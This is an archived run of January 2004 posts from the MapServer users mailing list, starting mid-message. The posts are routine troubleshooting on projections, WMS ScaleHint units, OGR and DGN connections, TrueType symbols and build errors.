+lon_0=3D24 +k=3D1.0 +x_0=3D-6536000 +y_0=3D24000=20
+ellps=3Dkrass
70000.080 63999.920
74d38'34.823"E =20
0d13'55.623"N


 


Geographical=20
coordinates are not correct, but I'am sure about coordinates, so =
something is=20
wrong in coordinate system definition and it's parameters. Some good =
advices=20
?


 


Best=20
Regards,


Martin =

Kiuru.


------_=_NextPart_001_01C3E3DB.2B3F4065--


From flavio at tydac.ch  Sun Jan 25 23:57:01 2004
From: flavio at tydac.ch (Flavio Hendry)
Date: Mon, 26 Jan 2004 08:57:01 +0100
Subject: [Mapserver-users] DXF to shp
In-Reply-To: 
References: 
Message-ID: 

Hi Mike

> Allow the user to place geospecific info into the shp file - even if
> the original dxf input File has none?

With FME you can do almost anything. As one user long time ago 
correctly stated: "Once I put in a pizza and lasagne came out - or vice 
versa?"

Mit freundlichem Gruss / Best Regards
Flavio Hendry

----------------------------------------------------------------
TYDAC NEWS http://www.tydac.ch/german/index.php?menu=News_actual
----------------------------------------------------------------
############ ? ? ?Mit freundlichen Gruessen / Kind Regards
############? ? ? ? ? ? ?mailto:flavio at tydac.ch
############ ? ? ? ? TYDAC AG - http://www.tydac.ch
#### ? ?#### ? ? ? ?Geographic Information Solutions
#### ? ?#### ? ? ? ? Luternauweg 12 -- CH-3006 Bern
############ ? Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
----------------------------------------------------------------


-----Original Message-----
From: "Walsh, Mike" 
To: "'mapserver-users at lists.gis.umn.edu'" 
Date: Fri, 23 Jan 2004 10:07:56 -0800
Subject: [Mapserver-users] DXF to shp

> Thank you for your replies. Do any of the known apps; ArcInfo, FME,
> CAD2SHAPE
> Allow the user to place geospecific info into the shp file - even if
> the
> original dxf input
> File has none?
> 



From stephane.riff at cerene.fr  Mon Jan 26 00:07:34 2004
From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=)
Date: Mon, 26 Jan 2004 09:07:34 +0100
Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
In-Reply-To: <3FC4483968B5A048BBD9F3387EBFF5C05C6F67@XMAIL1.sooner.net.ou.edu>
References: <3FC4483968B5A048BBD9F3387EBFF5C05C6F67@XMAIL1.sooner.net.ou.edu>
Message-ID: <4014CAC6.8010708@cerene.fr>

I don't want to upgrade to 3.7 i wan't the 3.6.7 version... and i didn't 
use templates and CGI all the application is in PHPMapscripts.

Swaminathan, Gayathri wrote:

>Stephane:
>
>Did anyone answer your question at all? Well if you are still wondering what went wrong, the "Migration guide" in Wiki explains this problem
>
>In order to enforce some security the previous CGI param has been changed. It will be only be accessible if you set DATAPATTERN .
>
>Also search for DATAPATTERN in archive, there are tons of information related to this problem
>
>HTH,
>Gayathri
>
>-----Original Message-----
>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of St?phane RIFF
>Sent: Tuesday, January 20, 2004 3:23 AM
>To: mapserver
>Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
>
>
>I use Postgres 7.2 and postgis 0.7.5, php 4.3.2....
>
>I tried to upgrade phpmapscript from 3.6.5 to 3.6.7 and my application 
>doesn't work anymore.
>I get an error from postgresql :
>
>   *    Warning: MapServer Error in prep_DB(): Error executing POSTGIS 
>DECLARE (the actual query)     statement: 'DECLARE mycursor BINARY 
>CURSOR FOR SELECT 
>asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
>giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
>1616618.5,1203176.624 2677218.5)'::BOX3D, 
>find_srid('','giscontourfrance','the_geom') )'
>
>Postgresql reports the error ''
>*
>But when i launch this query from phpPgAdmin :
>
>    *SELECT 
>asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
>giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
>1616618.5,1203176.624 2677218.5)'::BOX3D, 
>find_srid('','giscontourfrance','the_geom') )*
>
>It works....
>
>Can someone point me to use mapserver 3.6.7 because i want to upgrade 
>postgresql 7.2.4 to 7.3.*
>and only 3.6.7 support pgsql 7.3 ( I don't want to upgrade to mapserver 
>4.0.1 now)
>
>Thanks
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>  
>




From hwehr at hs-harz.de  Mon Jan 26 00:22:52 2004
From: hwehr at hs-harz.de (Harald Wehr)
Date: Mon, 26 Jan 2004 09:22:52 +0100
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <401241B5.6020002@pobox.com>
References: <400E4818.7090004@hs-harz.de> <401241B5.6020002@pobox.com>
Message-ID: <4014CE5C.6040800@hs-harz.de>

Thanks for the changes you made to the source code. I've made a cvs 
checkout for proj.4, gdal and mapserver but I fail to compile mapserver:

gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ 
-DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR 
-DUSE_MING_FLASH   -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP 
-DUSE_GD_FT   -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS 
-I/home/harald/programme/gd/include 
-I/home/harald/programs/proj_test/include 
-I/home/harald/programs/gdal_test/include 
-I/home/harald/programs/gdal_test/include 
-I/home/harald/programme/postgres/include 
-I/home/harald/programme/curl/include 
-I/home/harald/programme/ming/include  shp2img.o  -L. -lmap 
-L/home/harald/programme/gd/lib -lgd -ljpeg -lfreetype -lpng -lz 
-ljpeg -lfreetype -lpng -lz   -L/home/harald/programs/proj_test/lib 
-lproj -ljpeg  -L/home/harald/programs/gdal_test/lib -lgdal 
-L/home/harald/programs/gdal_test/lib -lgdal 
-L/home/harald/programme/ming/lib -lming 
-L/home/harald/programme/postgres/lib -lpq 
-L/home/harald/programme/curl/lib -lcurl -lz -lssl -lcrypto -ldl -lz 
-lm -lstdc++   -o shp2img
./libmap.a(mapresample.o): In function `msResampleGDALToMap':
mapresample.o(.text+0x1091): undefined reference to `msGetGDALGeoTransform'
collect2: ld returned 1 exit status
make: *** [shp2img] Fehler 1

It does not find msGetGDALGeoTransform. Where is this function defined? 
Can you help me here?

Thanks for your help!

Harald


> 
> Sorry for not responding to this message or the form on the osrs-proj list.
> There are definately challenges with using MapServer for global level 
> mapping
> in projections like orthographic, but with some caveats it can work.  I 
> would
> like to dig into this but haven't really had time.
> 
> I did alot of investigation, and have come to the conclusion that the
> PROJ.4 pj_transform() function is not good at returning only a subset of
> points successfully transformed.  Also, the mapresample.c code, the code 
> used
> to reproject *raster* data input to MapServer does not have any reasonable
> handling for output map areas that cannot completely be transformed into 
> the
> input space.
> 
> I have made some corrections to mapresample.c in MapServer and to the
> pj_transform() function in PROJ.4 and was able to produce the attached png
> with the following .map file:
> 
> MAP
> NAME  "w2qpgi5qsg4k"
> DEBUG on
> SIZE  400 400
> EXTENT  -6500000 -6500000 6500000 6500000
> 
> LAYER
> NAME  "world"
> TYPE  Raster
> STATUS  default
> DATA "/home/warmerda/public_html/world.tif"
> PROCESSING "DITHER=YES"
> 
> PROJECTION
> "proj=latlong"
> END
> END
> 
> 
> PROJECTION
> "proj=ortho"
> "lat_0=0.0"
> "lon_0=0.0"
> "x_0=0.0"
> "y_0=0.0"
> END
> 
> END
> 
> Success!
> 
> Now there are still "issues" with global scale mapping in MapServer, but it
> seems we have worked out some significant issues for raster input with
> reprojection at least.
> 
> The updates are all in CVS, but if you are not comfortable with building
> from CVS it may be a while before you can get things working at your end.
> Keep in mind that updates are required to the core MapServer as well as
> the PROJ.4 libraries.
> 
> Best regards,
> 
> 
> ------------------------------------------------------------------------
> 





From LVN at hvm.dk  Mon Jan 26 05:11:48 2004
From: LVN at hvm.dk (Lars V. Nielsen)
Date: Mon, 26 Jan 2004 14:11:48 +0100
Subject: [Mapserver-users] Relative paths in Mapserver setup ?
Message-ID: <008b01c3e40d$f78b86d0$2c01a8c0@odin>

This is a multi-part message in MIME format.

------=_NextPart_000_0088_01C3E416.560D9510
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

I'm attempting to build a small framework for publishing =
Mapserver-solutions, but my extensive use of relative paths is giving me =
headaches.

Can anyone point me to an exhaustive explanation of how relative paths =
are evaluated in Mapserver/Mapscript ?

Or are relative paths, as one would expect, always considered relative =
to the file in which the relative path is given ??

These files are of relevance to me :
- PHP script that loads the MAP file
- MAP files
- symbols definition files
- font lookup files (fontset)

Best regards / Med venlig hilsen
Lars V. Nielsen
--------------------------------------------------------
Hvenegaard & Meklenborg
Rugaardsvej 55, DK-5000 Odense C
Denmark
http://www.hvm.dk
------=_NextPart_000_0088_01C3E416.560D9510
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Hi all,


 


I'm attempting to build a small =
framework for=20
publishing Mapserver-solutions, but my extensive use of relative paths =
is giving=20
me headaches.


 


Can anyone point me to an exhaustive =
explanation of=20
how relative paths are evaluated in Mapserver/Mapscript ?


 


Or are relative paths, as one would =
expect, always=20
considered relative to the file in which the relative path is given=20
??


 


These files are of relevance to=20
me :


- PHP script that loads the MAP =
file


- MAP files


- symbols definition files


- font lookup files =
(fontset)


 


Best regards / Med venlig =
hilsen
Lars V.=20
Nielsen
--------------------------------------------------------
Hv=
enegaard=20
& Meklenborg
Rugaardsvej 55, DK-5000 Odense C
Denmark
http://www.hvm.dk


------=_NextPart_000_0088_01C3E416.560D9510--



From hjulien at nrcan.gc.ca  Mon Jan 26 05:12:39 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Mon, 26 Jan 2004 08:12:39 -0500
Subject: TR: [Mapserver-users] WMS server image black padding and aspect r
 atio
Message-ID: <06B403677C41D51194550002A55107D201F79018@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
Just a thought: It would also be a good idea if a WMS html getfeatureinfo
call could use the mapfile "WEB EMPTY" tag when no selections are made.

Cheers
H?ryk

-----Message d'origine-----
De : Daniel Morissette [mailto:morissette at dmsolutions.ca]
Envoy? : Friday, January 23, 2004 5:11 PM
? : Eric Sokolowsky
Cc : mapserver-users at lists.gis.umn.edu
Objet : Re: [Mapserver-users] WMS server image black padding and aspect
ratio


Eric Sokolowsky wrote:
> I am running mapserver 4.0.1 but this aspect also appears with the 
> version in CVS.  I am using mapserver as a WMS server on a Red Hat Linux 9
> system.  When I request an image that is not the same aspect ratio as
> the original image on the server, it seems that the image I get is
> not stretched so that it fills the entire frame.  The aspect ratio of the
> original source is maintained and black bars either appear above and below
> or else on both sides, similar to the effect of watching widescreen movies

> on a regular TV.  Is this the intended behavior, and if so, is there a way
> to turn it off?
> 

The short answer is that MapServer doesn't support rendering maps with 
different X and Y scales.  This is one of the only issues with MapServer 
before it passes all the OGC WMS tests.

For the long story, see the following thread in the archives:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105.html

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From hjulien at nrcan.gc.ca  Mon Jan 26 05:13:26 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Mon, 26 Jan 2004 08:13:26 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiont
 ype)
Message-ID: <06B403677C41D51194550002A55107D201F79019@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Paul,
No I'm using a System DSN as suggested in the Wiki.

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Friday, January 23, 2004 6:15 PM
? : Julien, Heryk
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: TR: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Heryk

Is it possible that you have created a User DSN instead of a System DSN? 
  Just grasping right now.

Paul

Julien, Heryk wrote:

> Has anyone ever tried connecting to Access 2000?
> That may be the problem.
> Is so I'll have to use a different db software!
> Unfortunatly almost everyone in my office works with Access 2000.
> 
> Thank you all for your patience and help
> Cheers
> H?ryk
> 
> -----Message d'origine-----
> De : Arthur, John [mailto:John.Arthur at T-Mobile.com]
> Envoy? : Friday, January 23, 2004 2:09 PM
> ? : 'Julien, Heryk'; 'Frank Warmerdam'
> Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
> Anctil, Martin; 'spencer at dmsolutions.ca'
> Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
> using "/" instead of "\":
> "D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"
> 
> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Sent: Friday, January 23, 2004 2:03 PM
> To: 'Frank Warmerdam'; Arthur, John
> Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
> Anctil, Martin; 'spencer at dmsolutions.ca'
> Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Okay,
> If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
> the Access table name (tblloc) I get my table content. Thanks.
> 
> Now I'm back to the original problem. All the components seem to work
> perfectly but I keep on getting the same error message when I try to draw
> the map:
> 
> msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File
not
> found or unsupported format.
> 
> It doesn't seem to find the mgwi.ovf file. I tried both relative and
> absolute paths. I checked my mapfile and everyting seems okay
> 
> LAYER
> 	NAME "MGWI_TBLLOC"
> 	TYPE POINT
> 	CONNECTIONTYPE OGR
> 	CONNECTION
> "D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
> 	DATA "MGWI_TBLLOC"
> 	STATUS default
> 	LABELITEM locid
> 	PROJECTION
> 		"init=epsg:26920"
> 	END #projection
> 	CLASS
> 		SYMBOL 1
> 		SIZE 8
> 		COLOR 255 0 0
> 		LABEL
> 			SIZE MEDIUM
> 			TYPE BITMAP
> 			COLOR 0 0 0
> 		END # end of label
> 	END # CLASS
> END # LAYER
> 
> 
> John, are you using an Access database? Are you working on Linux or
Window?
> 
> 
> Thank you all for your help
> H?ryk
> 
> mgwi.ovf:
> 
> 
>     
> 	ODBC:MGWI_MAPSERVER,tblloc 
>  	tblloc 
> 	wkbPoint
> 	 
>     
> 
> 
> 
> 
> 
> -----Message d'origine-----
> De : Frank Warmerdam [mailto:warmerdam at pobox.com]
> Envoy? : Friday, January 23, 2004 10:24 AM
> ? : Julien, Heryk
> Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
> 'spencer at dmsolutions.ca'
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Julien, Heryk wrote:
> 
>>Hi,
>>I tried it and I don't get the table content!
>>
>>Firt try:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>
>>
>>Second try with the table name:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>
>>
>>
>>The table doesn't seem to be coming through! Any idea?
>>
>>I tried the new build that Paul made available this morning and I get the
>>same problem! 
> 
> 
> Hi,
> 
> I'm not sure if I missed some of the email on this thread (it is pretty
> overwhelming!) but you didn't use the correct table name in your ogrinfo
> query.  When you ran ogrinfo without the layer name you got "1:
MGWI_TBLLOC
> (Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
> name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
> query:
> 
> Good luck,

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From christina.biakowski at ccgis.de  Mon Jan 26 06:25:26 2004
From: christina.biakowski at ccgis.de (Christina Biakowski)
Date: Mon, 26 Jan 2004 15:25:26 +0100
Subject: [Mapserver-users] WMS Capabilities and ScaleHint
Message-ID: 

Hello,

we would like to use the ScaleHint-tag of the WMS Capabilities-Document for
some functions in our WMS Client.
For example I have a layer with

MINSCALE 0
MAXSCALE 6000000

using a planar projection (Gauss-Kr?ger (epsg:31493), map units meters).

This is what I get in the Capabilities-document:
- 
  patch
  patch
  epsg:31494
  
  

  

  

Now I wonder in which units the ScaleHint is displayed, I tried it with inch
an miles but it does not fit.

Thank you in advance for any hint.

Regards,

Christina



From hjulien at nrcan.gc.ca  Mon Jan 26 06:38:38 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Mon, 26 Jan 2004 09:38:38 -0500
Subject: TR: [Mapserver-users] WMS server image black padding and aspe
 ct r	atio
Message-ID: <06B403677C41D51194550002A55107D201F7901E@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Adams,
I did a similar work-around. When query is done on a wms layer, my server
checks to see who is giving the wms services. If it's mapserver, my server
sends a mapserver query instead of a wms getfeatureinfo call. It works well
for me but I would like to give wms services to other clients without having
to patch. Giving wms services with a "WEB EMPTY" tag that works would be
great.


I like your javascript work-around idea. I'll have a look at it.
Thanks
H?ryk

-----Message d'origine-----
De : Till Adams [mailto:adams at terrestris.de]
Envoy? : Monday, January 26, 2004 9:27 AM
? : Julien, Heryk
Objet : Re: TR: [Mapserver-users] WMS server image black padding and
aspect r atio


Dear Julien,

we use a simple work-around to fix this.

1. implement a "dummy" layer which is queryable but which will not be 
displayed in your map and which covers the whole extent of your 
application. The querytemplate of this dummy-layer consists of a 
javascvript, which looks if any result is given back in it's body, and 
if not a message is displayed, saying, that the user didn't hit anything 
or so. see attached the dummytemplate:


Julien, Heryk schrieb:
> Hi,
> Just a thought: It would also be a good idea if a WMS html getfeatureinfo
> call could use the mapfile "WEB EMPTY" tag when no selections are made.
> 
> Cheers
> H?ryk
> 
> -----Message d'origine-----
> De : Daniel Morissette [mailto:morissette at dmsolutions.ca]
> Envoy? : Friday, January 23, 2004 5:11 PM
> ? : Eric Sokolowsky
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] WMS server image black padding and aspect
> ratio
> 
> 
> Eric Sokolowsky wrote:
> 
>>I am running mapserver 4.0.1 but this aspect also appears with the 
>>version in CVS.  I am using mapserver as a WMS server on a Red Hat Linux 9
>>system.  When I request an image that is not the same aspect ratio as
>>the original image on the server, it seems that the image I get is
>>not stretched so that it fills the entire frame.  The aspect ratio of the
>>original source is maintained and black bars either appear above and below
>>or else on both sides, similar to the effect of watching widescreen movies
> 
> 
>>on a regular TV.  Is this the intended behavior, and if so, is there a way
>>to turn it off?
>>
> 
> 
> The short answer is that MapServer doesn't support rendering maps with 
> different X and Y scales.  This is one of the only issues with MapServer 
> before it passes all the OGC WMS tests.
> 
> For the long story, see the following thread in the archives:
>
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105.html
> 
> Daniel


-- 

NEU +++ NEU +++ NEU +++ NEU

    AveiN! ist Open Source
Lizensiert unter der GNU GPL

-----

Dipl. Geogr. Till Adams
terrestris, Paulsen&Adams GbR
Siemensstr. 8 * 53121 Bonn
Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57
info at terrestris.de * www.terrestris.de



From dmorissette at dmsolutions.ca  Mon Jan 26 07:07:52 2004
From: dmorissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 26 Jan 2004 10:07:52 -0500
Subject: [Mapserver-users] WMS Capabilities and ScaleHint
In-Reply-To: 
References: 
Message-ID: <40152D48.7070806@dmsolutions.ca>

Christina Biakowski wrote:
> Hello,
> 
> we would like to use the ScaleHint-tag of the WMS Capabilities-Document for
> some functions in our WMS Client.
> For example I have a layer with
> 
> MINSCALE 0
> MAXSCALE 6000000
> 
> using a planar projection (Gauss-Kr?ger (epsg:31493), map units meters).
> 
> This is what I get in the Capabilities-document:
> - 
>   patch
>   patch
>   epsg:31494
>    maxy="49.6507" />
>    maxx="4.45865e+006" maxy="5.50159e+006" />
> 
>   
> 
>   
> 
> Now I wonder in which units the ScaleHint is displayed, I tried it with inch
> an miles but it does not fit.
> 

This Scalehint thing is always confusing. Here is the theory:

The WMS defines the scalehint values as the ground distance in meters of 
the southwest to northeast diagonal of the central pixel of a map. 
ScaleHint values are the min and max recommended values of that 
diagonal. (See WMS 1.1.0 sect. 7.1.5.4)


The units aren't defined by the spec, but looking at the code, it seems 
that MapServer uses meters as the units for the Scalehint value and 
that's probably what most servers use.  So the Layer definition above 
means that this layer can be served at scales that result in pixel 
diagonal sizes ranging from 0 to 2993 meters.

In the WMS 1.2/1.3 spec (to be released soon hopefully), the ScaleHint 
will be replaced by MinScaleDenominator and MaxScaleDenominator which 
makes much more sense.  You can already find the definition of those two 
elements in the SLD 1.0 specification.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               dmorissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From LVN at hvm.dk  Mon Jan 26 07:08:08 2004
From: LVN at hvm.dk (Lars V. Nielsen)
Date: Mon, 26 Jan 2004 16:08:08 +0100
Subject: [Mapserver-users] Polygon layer disrupt display of TTF based symbols ?
Message-ID: <001d01c3e41e$353cba70$2c01a8c0@odin>

This is a multi-part message in MIME format.

------=_NextPart_000_001A_01C3E426.96D94F20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

I've stumbled on a problem in Mapserver 4.0 that has me puzzled.

I have a number of point layers in my map that utilizes TrueType font =
symbols. When displayed by themselves they display perfectly.

But as soon as I turn on _any_ polygon layer, the symbols disappear, and =
colored rectangles replace them.

Pixmap symbols are not affected, only TrueType symbols are.
Turning on Raster, WMS or LINE layers doesn't seem to influence the =
symbol display at all.

Using Mapserver (Mapscript) 4.0 on Windows 2000 running PHP 4.3.2
Layers are displayed using a CLASS/STYLE definition.
Polygon layers use the TRANSPARENCY setting (if it matters).
Output is JPEG to facilitate an orthophoto backdrop.

Has anyone got a clue to what's happening, and even better, how to =
remedy this behaviour ?

Sample from my MAP file:

LAYER
  ...
  Type POINT
  CLASS
    STYLE
      SYMBOL "MapInfo Symbols_37"
      SIZE 16
      COLOR 255 0 0
    END
    TEMPLATE void
  END
END
...
SYMBOL
  NAME "MapInfo Symbols_37"
  TYPE TRUETYPE
  FONT "mapinfo-symbols-unicode"
  FILLED true
  ANTIALIAS true
  CHARACTER "%"
END

Best regards / Med venlig hilsen
Lars V. Nielsen
--------------------------------------------------------
Hvenegaard & Meklenborg
Rugaardsvej 55, DK-5000 Odense C
Denmark
http://www.hvm.dk
------=_NextPart_000_001A_01C3E426.96D94F20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Hi all,


 


I've stumbled on a problem in Mapserver =
4.0=20
that has me puzzled.


 


I have a number of point layers in my =
map that=20
utilizes TrueType font symbols. When displayed by themselves they =
display=20
perfectly.


 


But as soon as I turn on _any_ polygon =
layer, the=20
symbols disappear, and colored rectangles replace them.


 


Pixmap symbols are not affected, only =
TrueType=20
symbols are.


Turning on Raster, WMS or LINE layers =
doesn't seem=20
to influence the symbol display at all.


 


Using Mapserver (Mapscript) 4.0 on =
Windows 2000=20
running PHP 4.3.2


Layers are displayed using a =
CLASS/STYLE=20
definition.


Polygon layers use the TRANSPARENCY =
setting (if it=20
matters).


Output is JPEG to facilitate an =
orthophoto=20
backdrop.


 


Has anyone got a clue to what's =
happening, and even=20
better, how to remedy this behaviour ?


 


Sample from my MAP file:


 


LAYER
  ...
  Type =
POINT
 =20
CLASS
    STYLE
      =
SYMBOL=20
"MapInfo Symbols_37"
      SIZE=20
16
      COLOR 255 0 0
    =

END
    TEMPLATE void
 =20
END
END
...
SYMBOL
  NAME "MapInfo =
Symbols_37"
  TYPE=20
TRUETYPE
  FONT "mapinfo-symbols-unicode"
  FILLED=20
true
  ANTIALIAS true
  CHARACTER=20
"&#37;"
END


 


Best regards / Med venlig =
hilsen
Lars V.=20
Nielsen
--------------------------------------------------------
Hv=
enegaard=20
& Meklenborg
Rugaardsvej 55, DK-5000 Odense C
Denmark
http://www.hvm.dk


------=_NextPart_000_001A_01C3E426.96D94F20--



From warmerdam at pobox.com  Mon Jan 26 07:31:20 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 26 Jan 2004 10:31:20 -0500
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <4014CE5C.6040800@hs-harz.de>
References: <400E4818.7090004@hs-harz.de> <401241B5.6020002@pobox.com> <4014CE5C.6040800@hs-harz.de>
Message-ID: <401532C8.10501@pobox.com>

Harald Wehr wrote:
> Thanks for the changes you made to the source code. I've made a cvs 
> checkout for proj.4, gdal and mapserver but I fail to compile mapserver:
> 
> gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ 
> -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR 
> -DUSE_MING_FLASH   -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP 
> -DUSE_GD_FT   -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS 
> -I/home/harald/programme/gd/include 
> -I/home/harald/programs/proj_test/include 
> -I/home/harald/programs/gdal_test/include 
> -I/home/harald/programs/gdal_test/include 
> -I/home/harald/programme/postgres/include 
> -I/home/harald/programme/curl/include 
> -I/home/harald/programme/ming/include  shp2img.o  -L. -lmap 
> -L/home/harald/programme/gd/lib -lgd -ljpeg -lfreetype -lpng -lz -ljpeg 
> -lfreetype -lpng -lz   -L/home/harald/programs/proj_test/lib -lproj 
> -ljpeg  -L/home/harald/programs/gdal_test/lib -lgdal 
> -L/home/harald/programs/gdal_test/lib -lgdal 
> -L/home/harald/programme/ming/lib -lming 
> -L/home/harald/programme/postgres/lib -lpq 
> -L/home/harald/programme/curl/lib -lcurl -lz -lssl -lcrypto -ldl -lz -lm 
> -lstdc++   -o shp2img
> ./libmap.a(mapresample.o): In function `msResampleGDALToMap':
> mapresample.o(.text+0x1091): undefined reference to `msGetGDALGeoTransform'
> collect2: ld returned 1 exit status
> make: *** [shp2img] Fehler 1
> 
> It does not find msGetGDALGeoTransform. Where is this function defined? 
> Can you help me here?

Yikes!

Apparently one of my CVS commits with most of the affected files didn't work.
I have committed all the files now.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From EZS at DeStraat.NL  Mon Jan 26 07:46:59 2004
From: EZS at DeStraat.NL (Emil Zegers)
Date: Mon, 26 Jan 2004 16:46:59 +0100
Subject: [Mapserver-users] Another question about DGN attribute query
Message-ID: 

Hello list,

At the moment I'm struggling with querying DGN attribute data which is not working out.

I've found messages about this subject posted on the list before and they helped me to come where I am now: I can display the DGN with/without using the STYLEITEM "AUTO" and I can show the values from the Text field.

But I cannot query any of the fields in the DGN, no matter what field (Text, level, Layer) for a certain LAYER TYPE (ANNOTATION, POINT, LINE, POLYGON) I query.

This is the LAYER definition:

# GROENNAALDWIJK_dgn
LAYER
  METADATA
    wms_title "GROENNAALDWIJK_dgn"
  END
  NAME "GROENNAALDWIJK_dgn"
  TYPE POINT
  DEBUG ON
  CONNECTIONTYPE OGR
  CONNECTION "D:/websites/DemoData/Naaldwijk/Data/Basis/dgn/GROENNAALDWIJK.DGN"
  DATA "0"
  STATUS ON
  TOLERANCE 10
  
  STYLEITEM "AUTO"

  CLASSITEM "Text"
  CLASS
  END

  TEMPLATE "xmlqueries/dgn_xml.html"
END


This is the dgn_xml.html template defintion:


    [Text]


It all ends in the following message:

  msOGRLayerGetShape(): OGR error. Requested feature is incompatible with layer type

Now I'm looking for working examples of DGN attribute querying, has anyone been able to do so?

And if yes, are you willing to share your knowledge and/or example MAP and TEMPLATE files?

Best regards,

Emil Zegers


______________________________________________________

 This message has been checked for all known viruses
______________________________________________________



From steve.lime at dnr.state.mn.us  Mon Jan 26 07:59:04 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 26 Jan 2004 09:59:04 -0600
Subject: [Mapserver-users] Re: [Mapserver-dev] labels generated upside down
Message-ID: 

I'll look for the bug. I've got enough systems available to me that I
can narrow it
down a bit. In the past these types of problems have always been
attributed to
bad GD/Freetype combinations. 

Steve

